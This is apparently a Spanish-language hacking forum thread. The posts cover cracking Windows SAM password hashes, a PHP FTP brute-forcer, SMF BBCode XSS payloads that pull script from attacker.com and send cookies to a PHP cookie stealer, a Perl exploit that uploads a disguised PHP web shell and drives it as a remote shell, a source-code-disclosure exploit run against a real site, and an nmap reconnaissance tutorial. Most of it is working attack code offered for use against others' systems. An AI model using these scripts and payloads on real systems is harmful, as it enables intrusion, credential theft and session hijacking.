for($i=0; $i<largo; $i++) {
$pass .= chr(rand($inicio, $fin));
}
comprobar($pass);
$pass = '';
}
}

switch ($_GET['tipo']) {
case 1:
    diccionario();
    break;
case 2:
    generar(0, 9);
    break;
case 3:
    generar("A", "z");
    break;
case 4:
    generar(" ", "~");
    break;
case 5:
    list($inicial, $final) = explode("-", $_GET['rango']);
    generar($inicial, $final);
    break;
}
}
?>
</body>
</html>


solo se le tiene que cambiar el cripto sistema (en vez de la función crypt usar md5, etc...).
#23
Bueno se ke ya existe mucha info sobre esto, pero bueno un poco mas no hace daño a nadie.
Ademas este tuto va enfocado a los novatos, bueno espero ke les guste y perdonen si no pongo capturas pero lo hice de rapido, ademàs creo ke kedarà muy entendible apesar de no usar imagenes y pues cualkier duda pueden preguntar.

Herramientas:

1)Una pc con windows xp, funciona tmb para versiones mas viejitas, en vista la vdd no se si funcione pues no lo he probado pero me imagino ke si

2)Acceso fisico a la pc

3)Una distribucion de linux, en mi caso usarè mi buen amigo backtrack 3.
Uso backtrack xq ya trae muchas herramientas de crackeo instaladas pero da igual la ke usen

empezàmos por abrir una consola de bt3

y tecleamos lo sig:

Código: php

ls /mnt/hda1


en mi caso es hda1 pero en el de uds puede variar un poco, puede ser sda1, sda2, hda2, etc

y nos desplegarà algo como esto:

Código: php

bt ~ # ls /mnt/hda1
AUTOEXEC.BAT*              IO.SYS*                       boot.ini*
AppServ/                   MSDOS.SYS*                    datos.sql*
Archivos\ de\ programa/    NTDETECT.COM*                 eclipse/
Bootfont.bin*              RECYCLER/                     ntldr*
CONFIG.SYS*                Sun/                          pagefile.sys*
Config.Msi/                System\ Volume\ Information/  xampp/
Documents\ and\ Settings/  WINDOWS/


estos son los archivos ke tengo en mi pc, en mi disco duro C:/, obviamente en el de uds va a cambiar

procedemos a crear una carpeta:

Código: php

mkdir /crack
cd /crack


Ahora ke ya estàmos dentro de /crack

ahora vamos a extraer la boot key y guardarla en un archivo .txt llamado bootkey.txt:

Código: php

bkhive /mnt/hda1/WINDOWS/system32/config/system bootkey.txt


les tiene ke aparecer algo parecido a esto:

Código: php
Bootkey: 5da3c4796d09d5ca929d8498c6af87c9


Ahora vamos a extraer el hash del archivo SAM y guardarlo como hash.txt:

Código: php


samdump2 /mnt/hda1/WINDOWS/system32/config/SAM bootkey.txt >hash.txt


Una vez hecho esto ya tenemos el contenido del archivo SAM que es donde se encuentran los passwords en hash.txt. ahora vamos a crackearlo.

para esto usarèmos un diccionario  y john the ripper

necesitàmos tener el diccionario en la misma carpeta donde estàmos (crack)
recuerden ke un diccionario no es mas ke un archivo de texto ke contiene varias palabras (posibles passwords).

Bien una vez ke ya tenèmos el diccionario (words.txt) tecleamos lo sig para crackear el hash:

Código: php

john hash.txt -f:NT -w:words.txt


y nos darà el password del windows

recordèmos ke si el password no està en el diccionario, pues entonces es imposible crackearlo

por eso para ke este atake funcione necesitamos tener un buen diccionario

cualkier duda aki estoy

salu2

Fuente: Devilboy

#24
Bugs y Exploits / FTP Bruteforce Priv8 -(PHP)
Febrero 25, 2010, 11:25:29 AM
Esto es FTP Bruteforce. sólo cambiar el puerto $ host $ § usuario y el %% ADDMOREPASSESHERE puestos en la matriz y trabajará al 100% en todos los Hoster que tiene conexiones ftp habilitado.
---------------------------------------------------------
Código: php
<?php
$host = "www.web-victima.com";
$port = "21";
$user = "IamaAdminsoiknoweverything";
$password = array("sa", "admin", "root", "test", "123", "abc", "change", "support", "web", "root" , "%ADDMOREPASSESHERE%" );
  foreach($password as $mypass)
if((isset($host)) AND (isset($port)) AND (isset($user))) {
$connect = ftp_connect($host, $port);
     if(!$connect)
     {
  echo('<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><img src="images/serveroff1.gif">');
     exit();
     }
$result = @ftp_login($connect, $user, $mypass);
        if ($result)
                                      {
                                      Echo " Password:$mypass<br>";
                                    }
                                    else
                                    {
                                      Echo "Password: <b>Passwort nicht gefunden.</b><br>";
                                     }
                          ftp_quit($connect);
                           }
     ?>


Salu2
#25
Bugs y Exploits / XSS BBCode Exploit SMF All Versions
Febrero 25, 2010, 11:19:12 AM
Author: Xianur0

BBCode of the smf not filtered properly specified urls:

Código: php
[center][size=14pt][url=javascript:alert('xss')]Saltando Filtro
:D...[/url][/size]
[url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://img508.imageshack.us/img508/6982/flmnetworkuserbar494abfyb2.png[/img][/center]


Click on the image, run the javascript..

BBC Cookie Exploit:

Código: php
[center][size=14pt][url=][/url][/size]
[url=javascript:
document.write(unescape('%3Ciframe+width%3D%220%25%22+height%3D%220%25%22+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fcookiestealer.php%3Fcookie%3D%27+%2Bdocument.cookie+%2B%27+frameborder%3D%220%25%22%3E'));][img]http://www.google.com.mx/intl/es_mx/images/logo.gif[/img][/center]


PHP Cookie Stealer:

Código: php
<?php
$cookie = $_GET['cookie'];
$handler = fopen('cookies.txt', 'a');
fwrite($handler, $cookie."\n");
?>
#26
Estamos aquí con otro tutorial de como codear un exploit, esta vez vamos a empezar a marcar ciertos patrones que siempre (o en la mayoría de los casos) vamos a usar. Esta vez no vamos a usar una vulnerabilidad pública (siempre intentaré usar vulnerabilidad es públicas por aquello de que podais encontrar "ejemplos prácticos reales").

  Hay por ahí personas que aseguran que el 70% de los uploaders web presentan alguna forma de bypassearlos para subir extensiones que no estén permitidos. A mi humilde parecer estas cifras son demasiado altas, pero bueno... Hoy vamos a aplicar una forma automatizada de subir una shell PHP a un host a través de un uploader que presente un deficiente filtrado basado en mirar el MIME type o use la función getimagesize(). Aqui no vamos a hablar en detalle de cómo funcionan estos filtros, existe por ahí un paper que creo que era de vZack que hablaba más en profundidad de ello, os remito a que googleeis a por él.


   Si ya habeis localizado ese u otro paper que hable del tema podemos continuar.  Como habreis leido, si el script que sube el fichero bloquea los archivos PHP basándose en el MIME type, símplemente mandando una cabecera modificada donde se modifique el type por uno que esté permitido (normalmente un image/gif o image/jpeg);  y en el caso de getimagesize() símplemente con poner al inicio del archivo la cabecera de la extensión (GIF89a, en nuestro caso ya que nuestro exploit va a "camuflarse" como un .gif).


Bien, al igual que la otra ocasión, lo primero es ver cómo implementar la vulnerabilidad en un programa y segundo esquematizar mentalmente las partes de las que constará nuestro exploit. Para la primera cuestión es fácil, para subir el archivo mandamos una cabecera ya modificada que contenga nuestra shell con el identificador de extensión ya incluido, es decir algo así:



Código: php
GIF89a
<?php system($_GET['h']); ?>


Tras la primera parte, podemos deducir de inicio que vamos a necesitar los mismos módulos que la vez anterior (LWP y HTTP::Response::Common). Como variables necesaritaremo s una que indique la URL donde se sitúa el script PHP que actúa como uploader y otra que será la dirección donde se suben los ficheros

Nota: para el segundo se presupone que ya tenemos este conocimiento, lo normal es sacarlo por deducción observando la web o bien a través de un FPD

Despues tendremos que mandar la susodicha cabecera, y posteriormente ejecutaremos comandos directamente (por aquello de no ingresar a la URL por el navegador). El code (que paso a comentar línea a línea lo nuevo) sería algo parecido a esto:



Código: php
#!/usr/bin/perl


use LWP;
use HTTP::Request::Common;

unless ($ARGV[1]) { &usage; }

$url = $ARGV[0];
$upath = $ARGV[1];
$all = $upath.'fos.php?h=';

print q(
+---------------------------------------------------+
| Example of Bypass Upload & RCE                    |
| Codex: The X-C3LL                                 |
| Blog: http://0verl0ad.blogspot.com                |
| Gr3tz: F.O.S. Team && Seth                        |
+---------------------------------------------------+
);

$nav = LWP::UserAgent->new;

print "[+]Connecting with target...\n[+]Uploading shell...\n";
$res = $nav->request (POST $url,
Content_Type => 'form-data',
Content => [
userfile => ["fos.gif", "fos.php", "Content-Type" => "image/gif"],
],
) || die '[-]Error:', $res->status_line;
print "[+]Uploaded!\n[+]Connecting to shell...\n";
$head = $all.'id';
$get = $nav->get( $head ) || die '[-]Error:', $get->status_line;

print "============CONNECT TO SHELL============\n".$get->content;

do {
print "\n\n[--Exploit Shell---] ";
$command = <STDIN>;
$exe = $all.$command;
$eje = $nav->get ( $exe ) || die '[-]Error:', $get->status_line;
print $eje->content;
} until ($command == "salir");
exit;

sub usage {
print 'Usage: perl exploit.pl "URL DEL UPLOAD" "URL DONDE SE SUBEN"';
exit;
}



En estas líneas lo que hacemos es mandar la cabecera al upload con el bypass hecho. Nótese que nuestro fichero es fos.gif.

Código: php
$res = $nav->request (POST $url,
Content_Type => 'form-data',
Content => [
userfile => ["fos.gif", "fos.php", "Content-Type" => "image/gif"],
],
) || die '[-]Error:', $res->status_line;


Lo siguiente es, que si se ha subido el fichero, ingrese por GET ejecutando el comando id y muestra el resultado. El resto es un bucle DO-UNTIL en el cual emulará a una shell normal, en la cual nosotros introduciremos los comandos a ejecutar, dicho comando se pasará por GET al fichero que hemos subido, y nuestro exploit leera lo que vomita la web y te lo mostrará. Para dejar de mandar comandos y salir del exploit escribimos "salir":



Código: php
do {
print "\n\n[--Exploit Shell---] ";
$command = <STDIN>;
$exe = $all.$command;
$eje = $nav->get ( $exe ) || die '[-]Error:', $get->status_line;
print $eje->content;
} until ($command == "salir");
exit;


Hasta aquí todo bien. Ahora tenemos que ver las partes "nuevas" que hemos añadido para complementar un poco al exploit. La primera es hacer una comprobación de si todos los parámetros han sido introducidos, hay varias formas, esta quizás no es la más adecuada pero es sencilla y simple. Lo único que hace es comprobar si se introduce un segundo parámetro:



Código: php
unless ($ARGV[1]) { &usage; }


De tener un "syntax error" nos saltará la subrutina &usage; la cual definimos al final del código y consiste en simplemente mostrar un mensaje de como se usa y cerrar el script:



Código: php
sub usage {
print 'Usage: perl exploit.pl "URL DEL UPLOAD" "URL DONDE SE SUBEN"';
exit;
}


The X-C3LL


#27
CitarBueno para empezar ami mucho me interesó a interpretar y codear un Exploit , pués me encontré con varios post
y entre ellos me ví con esto que me interesó mucho y me ayudó. a parte de eso para tener un poco mas de entendimiento tienen que saber lenguajes básicos como Html, PHP y perl , el tema es escrito por The X-C3LL .
[/i]
=======================================================================================

Codeando un exploit I: Source Code Disclosure



La verdad es que es muy común ver mensajes en esta sección de "cómo codeo un exploit" al cual siempre contestamos de la misma forma "aprende a programar". Así que me he propuesto explicar de forma muy básica el cómo codearnos un exploits sencillos en perl. Como ahora mismo estoy en la previa a los exámenes, no tengo mucho tiempo, así que vamos a empezar con una vulnerabilidad sencilla como puede ser un Source Code Disclosure (SCD). Si no tienes ni idea de lo que és, hecha un ojo aquí ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).


  Para trabajar, vamos a usar una vulnerabilidad pública ya que descubrió Seth en un CMS llamado QuipusNews. En el link que os dejé viene una referencia a dicha vulnerabilidad y el exploit que codeó para explotarla. La verdad es que a día de hoy miras el exploit y te das cuenta de que se podría simplificar mucho.... y es lo que vamos a hacer, crear un exploit paralelo a ese pero más ordenado y simplificado.


  Así que lo primero que vamos a hacer va a ser localizar una web vulnerable para ver cómo funciona la vulnerabilidad (nos remitiremos al dork "Actualizado usando QuipusNews"). Cuando hayamos localizado un objetivo que use este CMS, procedemos a tratar de incluir un fichero (P.E.: index.php) y, cuando lo cargue, mirad el código fuente. Si todo ha ido bien, veremos el source de index.php

Bien de esta sencilla práctica podemos deducir cómo va a funciona nuestro exploit. Primero setearemos las variables, que a simple vista podemos ver que van a ser una para determinar el host vulnerable, otra para el directorio donde se sitúa el script vulnerable y una última para indicar qué archivo deseamos de ver.

  La segunda parte sería la de establecer la conexión con el host y leer el archivo que deseamos. En el exploit que codió Seth (y que le ayudé ) usaba sockets para esto. La verdad es que existe una forma más simplificada y es usando librerías especializadas que ya hagan este trabajo. Nosotros vamos a usar dos en concreto, LWP y HTTP. Aquí dejo el código y vamos a ir viéndolo parte por parte:


Código: php
(exploit.pl)
#!/usr/bin/perl


use LWP;
use HTTP::Request::Common;


my $host = $ARGV[0];
my $path = $ARGV[1];
my $file = $ARGV[2];
my $url = 'http://'.$host.$path.'index.php?tpl='.$file;

my $nav = LWP::UserAgent->new;
my $res = $nav->get( $url ) || die 'ERROR:',  $res->status_line;

print $res->content;

exit;




Las primeras líneas:


Código: php
use LWP;
use HTTP::Request::Common;


Estas líneas son la declaración de qué modulos deben de incluirse para el funcionamiento del programa. En las siguientes,


Código: php
my $host = $ARGV[0];
my $path = $ARGV[1];
my $file = $ARGV[2];


seteamos las variables que vamos a emplear, que son las que comenté anteriormente. Posteriormente concatenamos todo para tener la URL donde deberemos de ingresar:


Código: php
my $url = 'http://'.$host.$path.'index.php?tpl='.$file;


Posteriormente pasamos a crear una simulación de un navegador:



Código: php
my $nav = LWP::UserAgent->new;


Y procedemos a realizar una petición GET a la url que montemos concatenando los parámetros:



Código: php
my $res = $nav->get( $url ) || die 'ERROR:',  $res->status_line;


El la parte del die se emplea por si no ha habido suerte y ha ocurrido algún problema. Dicho problema se muestra a través de status_line (P.E.: 404 Not Found). Para finalizar mostramos el contenido en pantalla del código fuente:




Código: php
print $res->content;
exit;



No le he añadido detalles básicos al exploit, como puede ser algo de texto, la información sobre el bug y cómo lo explota, una subrutina &usage para mostra el uso en caso de syntax error, unos condicionales que verifiquen la sintaxis de los parámetros, etc... esto ya lo veremos otro día. Lo de hoy ha sido sínplemente una toma de contacto para que veais que los exploits no son programas místicos creados por el demonio inentendibles. Un exploit no es más que un programa.


Byt3z

PD: Se me olvidaba mostrar el output:



Código: php
[root@The-XC3LL Escritorio]# perl exploit.pl www.cubadebate .cu / index.php
<?php
//+-----------------------------------------------------+
//|     Chasqui(r)                                      |
//|     http://www.chasqui.cu/                          |
//|     [email protected]                              |
//+-----------------------------------------------------+
//|     Chasqui(r) Contents Management Division         |
//|     http://www.chasqui.cu/gestcont/                 |
//|     [email protected]                             |
//+-----------------------------------------------------+
//|     (c) Copyright 1999-2003 Chasqui(r)              |
//+-----------------------------------------------------+

//
// $Id$
//

@unlink("logs/error.log");
//include "clear_cache.ph p";

require_once "tms/template.lib.php";
require_once "tools/files.lib.php";
require_once "app/application.lib.php";

//  Estas constantes son necesarias para inicializar la aplicaci
define('CONFIGURATION_ FILE', './Configuration/application.xml');
define('COMPILED_CONF_ FILE', './Compiled/application.cfg');

define('OBJECTSDEF_FIL E', './Configuration/objects.xml');
define('OBJECTDEF_CFG_ FILE', './Compiled/objects.cfg');
define('OBJECTDEFS_CFG _DIR', '.');


The X-C3LL


#28
###################################
#Author: blood_rec                                               
#Colaborators: Georgio                                         
#blog: http://h4xxor.blogspot.com                         
#web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta                                         
#contact: blood_rec @el-hacker.org                       
#Musica Durante: Metallica                                   
###################################

                        Importancia de El
########################################################################
# Analisis De Puertos,Identificacion de sistema,servicios del mismo...                                                           
########################################################################
==========================================================================================================================================================
A-Introduccion:

A La hora de identificar u realizar una tarea de auditoria web en un servidor muchos cometen el error o caen en la actividad que al comenzar una tarea de auditoria siempre se van con la busqueda de las vulnerabilidades primero o a usar sus SSS (Shadow Security Scanner)...

A LA hora de identificar un sistema u realizar una auditoria podemos hacer las cosas bien a nivel de servidor/cliente,y como en el sexo debemos empezar primero poco a poco o no me van a decir que a la hora de estar con una chica llegan se lo meten y ya en tan solo 3 meses la chica lo mandara al carajo xD...

pues los sistemas son asi debemos ir poco a poco para interactuar con ellos ya que con solo identificar el sistemas scannear los puertos y servicios (Deamons) que gestiona el mismo podemos hacer cosas maravillosas sin nesesidad de utilizar otras tecnicas...

a veces se les puede tornar aburrido pero de esto se trata esto mientras mas areas vas cubriendo en el tema mucho mas acto eres para llegar a tus objetivos...solo me voy a basar en teorias y algunas practicas y pruebas que realizo en mi servidor local,donde poseo algunas aplicaciones vulnerables y no vulnerables pero podemos vulnerarlas atacando sus servicios u cosas xD...

El servidor en el cual esta todo instalado es un servidor Ubuntu 8.10 Kernel Generico  Apache/2.2.9 Suhosin-Patch Server con algunas aplicaciones como joomla,smf,wordpress y otro scripts programados. el servidor obviamente esta en mi red local., la maquina auditora esta con Slackware Kernel 2.6.21.5 (Una Laptop) y a la que la e convertido en una suite de pentesting...xD

B-Comienzo:

Bueno comenzaremos con Nmap O Zenmap cualquiera de los 2.ya que los comandos son practicamente lo mismo pero nos orientaremos a la primera ya que usaremos la consola en lo personal lo prefiero ya que es un poco mas rapido y de verdad que no me gusta la GUI de la misma xD para los gusto los colores y para el culo los mojones....xD pero pueden usar la que gusten...

Nmap es un scanner de puertos y servicios hasta con el mismo puedes identificar sistemas operativos de manera remota una herrmienta imprecindible para cualquier auditor,experto en seguridad,Administrador De Red,Sistema,Servidor,Lammer,Hacker,noob,geek,hasta el user normal pero es imprecindible si a estas alturas no sabes lo que es te ivito que busques en internet u entre a la pagina del autor.:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Sigamos Para comenzar con un scanneo Basico veremos La manera de comenzar son comandos muy faciles de aprender de memoria pero empezemos poco a poco

Voy a Probar scaneando el servidor con las reglas del firewall excluyendo a la maquina auditora a ver que sucede?:

[ go0ns@squad # nmap 192.168.56.1

Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:29 GMT
All 1715 scanned ports on 192.168.56.1 are filtered
MAC Address: 00:76:62:6E:65:74 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 49.736 seconds ]

Acabamos de ver que el firewall de esa manera nos bloqueo todos los pedidos dejandonos muchos logs en el servidor auditado:

[ Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:636 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Ldaps
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:1723 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Tacacs
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:113 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Auth
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:23 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Telnet
Time:Jul 26 17:41:41 Direction: Unknown In:wlan0 Out: Port:53 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:DNS
Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:HTTP
Time:Jul 26 17:41:42 Direction: Unknown In:wlan0 Out: Port:80 Source:192.168.56.101 Destination:192.168.56.1 Length:44 TOS:0x00 Protocol:TCP Service:Klogin ]

UFF jajaja solo son algunos de los que puede dejar ok agregamos una regla que es lo que un servidor normal pues deberia tener ya que debe dejar la entrada de las ip's pero no en todos los caso ya que las reglas aplican a algunos puertos pero excluyen a muchos pero aprenderemos como sacar el mejor provecho posible... Ahora Vamos Y Realizamos:

[ go0ns@squad # nmap 192.168.56.1

Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:28 GMT
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT     STATE SERVICE
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
1241/tcp open  nessus
2500/tcp open  rtsserv
MAC Address:Unknown)

Nmap done: 1 IP address (1 host up) scanned in 13.743 seconds
]

Ya tenemos identificado al menos lo inicial y miremos que tenemos como pudieron ver fue un scan bien basico solo los puertos /tcp como la mayoria de los scanners en la jungla esto scans son bien agresivos y siempre son agarrados por el firewall como vimos en el primer caso terminando por banear nuestra ip si el administrador tiene buenas reglas n el firewall:
#####################
#Puerto  | Servicio #
#####################
#25/tcp  | smpt     #
#80/tcp  | http     #
#110/tcp | pop3     #
#1241/tcp| nessus   #
#2500/tcp| rtsserv  #
#####################

Bueno analizemos tenemos 5 puertos identificados de primera instancia que se gestionan bajo el protocolo /tcp si no teneis conocimiento sobre que es el protcolo /tcp u los otros protocolos similares /udp y cosas pues no continues leyendo e instruyete desde 0 mijo...

en fin con el scaneo sencillo identificamos solo esos puertos como pudieron apreciar que el log del scan nos indica tambien que se encontraron Not shown: 1710 closed ports que estan entiendase o cerrados o filtrados Huh entonces preguntaran de como es posible si es una herramienta de scaneo de puertos y servicios pero de esto se trata de poder hacer las identificaciones especificas..

ahora queremos saber que sistema operativo tiene siempre como root asumiendo que estais en linux (igual puede hacerlo desde el otro sistema operativo) xD ok, pues realizamos

[ go0ns@squad # nmap -O 192.168.56.1

Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:32 GMT
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT     STATE SERVICE
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
1241/tcp open  nessus
2500/tcp open  rtsserv
MAC Address:  (Unknown)
No exact OS matches for host (If you know what OS is running on it, see No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).
TCP/IP fingerprint:
OS:SCAN(V=4.60%D=6/26%OT=25%CT=1%CU=33422%PV=Y%DS=1%G=Y%M=007662%TM=4A455AA
OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC
OS:D=1%ISR=CD%TI=Z%II=I%TS=U)OPS(O1=M5B4%O2=M5B4%O3=M5B4%O4=M5B4%O5=M5B4%O6
OS:=M5B4)WIN(W1=16D0%W2=16D0%W3=16D0%W4=16D0%W5=16D0%W6=16D0)ECN(R=Y%DF=Y%T
OS:=40%W=16D0%O=M5B4%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)
OS:T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=N)U1(R=Y%DF=N%T=40%TOS=C0%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUL
OS:=G%RUD=G)IE(R=Y%DFI=N%T=40%TOSI=S%CD=S%SI=S%DLI=S)


Network Distance: 1 hop

OS detection performed. Please report any incorrect results at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .
Nmap done: 1 IP address (1 host up) scanned in 28.029 seconds
]

Bueno pudieron apreciar que nmap reacciono casi de la misma manera que con el 2do intento con un scaneo de puertos sencillo en los protocolos /tcp pero en este caso usamos el argumento -O para scanear el posible sistema operativo, como funciona? nmap envia cadenas especializadas a dos puertos especificos uno cerrado y uno abierto, estolo hace con el proposito de que cada sistema operativo reacciona de manera diferente a estas peticiones y como pudieron ver el scanner tubo problemas descubriendo el server que como mencione antes era ubuntu 8.10 pero igual vean los primeros resultados que se acercan a lo que queremos:

[ OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC ]

Los comandos basicos de nmap los pueden ir encontrando poco a poco que tal si cambiamos un poco los comandos para que vallan haciendose una idea y familiarizandose con dicho programa y la manera que tenemos como siempre de llagar a nuestro objetivo en este caso usaremos un scaneo intensivo pero rapido que se supone que nos arroje los resultados mas imprecindibles..

[go0ns@squad # nmap -T Aggressive -A -v 192.168.56.1

Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-27 01:43 GMT
Initiating ARP Ping Scan at 01:43
Scanning 192.168.56.1 [1 port]
Completed ARP Ping Scan at 01:43, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:43
Completed Parallel DNS resolution of 1 host. at 01:43, 13.00s elapsed
Initiating SYN Stealth Scan at 01:43
Scanning 192.168.56.1 [1715 ports]
Discovered open port 25/tcp on 192.168.56.1
Discovered open port 80/tcp on 192.168.56.1
Discovered open port 110/tcp on 192.168.56.1
Discovered open port 2500/tcp on 192.168.56.1
Discovered open port 1241/tcp on 192.168.56.1
Completed SYN Stealth Scan at 01:43, 0.55s elapsed (1715 total ports)
Initiating Service scan at 01:43
Scanning 5 services on 192.168.56.1
Completed Service scan at 01:43, 11.47s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.1
SCRIPT ENGINE: Initiating script scanning.
Initiating SCRIPT ENGINE at 01:43
Completed SCRIPT ENGINE at 01:43, 5.05s elapsed
Host 192.168.56.1 appears to be up ... good.
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT     STATE SERVICE     VERSION
25/tcp   open  smtp        Postfix smtpd
|_ SMTP: HELP with errors or timeout.  Enable --script-trace to see what is happening.
80/tcp   open  http        Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)
|_ HTML title: Index of /
110/tcp  open  pop3        hotwayd pop3d 0.8.4
1241/tcp open  ssl/unknown
2500/tcp open  smtp-proxy  hotsmtpd based on hotwayd 0.8.4
MAC Address:  (Unknown)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.23
Uptime: 0.089 days (since Fri Jun 26 23:35:55 2009)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=201 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host:  go0ns.s3rver

Read data files from: /usr/local/share/nmap
OS and Service detection performed. Please report any incorrect results at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .
Nmap done: 1 IP address (1 host up) scanned in 33.036 seconds
           Raw packets sent: 1735 (77.100KB) | Rcvd: 1731 (80.266KB)  ]

Uff que lectura mas larga pero vamos a ver que datos contiene que nos pueden ayudar y ya se habran dado de cuenta de la gran diferencia con los resultados y el cambio de Parametros.

Veamos primero el scan y estas opciones para ver lo que relativamente es importante antes de probar este de ahora tratamos de identificar el sistema operativo lo que realizo fue adivinar el sistema operativo pero esta vez logramos de dar con el mismo mas especificamente y dar con los servicios que gestiona el mismo como los deamons miremos:

[ PORT     STATE SERVICE     VERSION
25/tcp   open  smtp        Postfix smtpd
|_ SMTP: HELP with errors or timeout.  Enable --script-trace to see what is happening.
80/tcp   open  http        Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)
|_ HTML title: Index of /
110/tcp  open  pop3        hotwayd pop3d 0.8.4
1241/tcp open  ssl/unknown
2500/tcp open  smtp-proxy  hotsmtpd based on hotwayd 0.8.4 ]

Como podemos ver identifica nuevamente los puertos ya mencionados asi como los servicios y la version y magicamente identifica el sistema operativo que gestiona el server :

[ Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch ]

Sonrisa y la otra parte relativamente importante es que identifica la version de los servicios aunque esto no es tan fundamental por que puede que sea un falso asi como uno correcto pero aqui es que llega la intuicion del auditor de usar la logica ya que puedes ir teoricamente buscando cual es la version real de dicho servicio con la identificacion del sistema operativo.

y que resume esto? que podemos darnos con el escenario que la aplicacion web no es vulnerable pero si los servicios o deamons del mismo y podemos vulnerarla por ahi xD ELEMENTAL NO?

por eso es que es bien importante los scaneos de identificacion por que de muchas maneras puedes encontrar las vulnerabilidades si no lo son a nivel web son a nivel server pero siempre encontraras algo.Sigamos

[ OS details: Linux 2.6.13 - 2.6.23  ]

Nos indica mas o menos el kernel que corre bajo el sistema operativo pero no siempre se da este caso del mismo las mayoria de las veces lo atina..

otra de las herramientas que podemos encontrar por la jungla de la web es xprobe2 para la identificacion de sistemas operativos veamos:

[ go0ns.squad # xprobe2 -v  192.168.56.1

    * Primary guess:
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.22" (Guess probability: 100%)
    * Other guesses:
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.23" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.21" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.20" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.19" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.24" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.25" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.26" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.27" (Guess probability: 100%)
    * Host 192.168.56.1 Running OS: "Linux Kernel 2.4.28" (Guess probability: 100%)
    * Cleaning up scan engine
    * Modules deinitialized
    * Execution completed  ]


casi igual como nmap lo unico que este tiene tareas mas especificas en la identificacion de sistemas operativos y nos arroja el mismo resultado que muchas veces pued confundir pero a medida que vallan perfeccionando las tecnicas dan con los mismos.

Otra herramienta que nos puede ayudar en la identificacion de sistemas y objetivos de la informacion del mismo es Maltego que se puede descargar desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con la que pueden sacar emails,directorios,archivos,dominios,sub dominios y otras cosas del servidor identificado.

entonces que es lo que quiero adentrar y detallar mas aqui solo queria explicarles que para identificar vulnerabilidades en un servidor no tienes primero que comenzar por la aplicacion web nesesariamente con tan solo con la identificacion misma del sistema puedes abrir muchas posibilidades a descubrir muchas mas cosas que solo las vulnerabilidades que tiene la web o el servidor...

